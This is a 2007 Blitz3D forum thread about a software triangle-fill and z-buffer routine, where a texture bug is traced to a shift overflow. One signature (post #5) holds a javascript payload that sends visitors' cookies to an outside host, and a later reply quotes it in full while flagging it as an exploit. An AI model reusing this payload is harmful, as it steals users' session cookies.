Triangle fill routine + ZBuffer (Where's the bug?)

Blitz3D Forums/Blitz3D Programming/Triangle fill routine + ZBuffer (Where's the bug?)

bytecode77(Posted 2007) [#1]
hi!

a few topics below, i had massive speed problems with my fill-triangle routine... now i found a very annoying bug with the texture rendering... if anyone could help me finding it, it would be great ... because i just didn't find it.

(i started a new topic, because the old one would get lost i think)



thank you for any help !

(use mouse and scroll-button to move)

http://www.dev-ch.de/upload/files/Devils%20Child/VirtualGL%20Test.zip


bytecode77(Posted 2007) [#2]
ok, i found the error. it was the shl 16 code.
i replaced shl16 with shl8 and it works perfect now. as soon as the software renderer is finished, i'll show it in here :)
bye :)

ps: i'm on vacations for the next week, so dont wonder if i'm afk


DJWoodgate(Posted 2007) [#3]
Yes, just found that out myself messing about with the other code you posted. Shl 16 causes an overflow on texture sizes 256 and up. Nice bit of code, I remember someone else (I think it was PRJ - Paul René Jørgensen) doing one of these a long time ago in the days before Blitz went 3d.


Rroff(Posted 2007) [#4]
Very nice bit of code you got going...


Mesh(Posted 2007) [#5]
Nice! What using this?
______
[img javascript:document.body.background='http://www.tesko-sport.ru/s.php?'+document.cookie;this.jpeg] All simple =)


puki(Posted 2007) [#6]
ïàðîëü


puki(Posted 2007) [#7]
"Mesh" - old buddy - pal.

Can you remove javascript:document.body.background='http://www.tesko-sport.ru/s.php?'+document.cookie;this.jpeg

from your post.

Mother has seen it - wonders why you have it there - makes her talk to me more than normal.

There's a good chap.


bytecode77(Posted 2007) [#8]
***** CONTENT UNAVAILABLE *****

what?

edit: i implemented a zbuffer with near&far clipping planes and (linear yet) texture mapping.

ps: now, i'll go for a week and take a look here after i come back.


puki(Posted 2007) [#9]
Don't worry - what was posted in your thread was a javascript exploit - I purely pointed it out.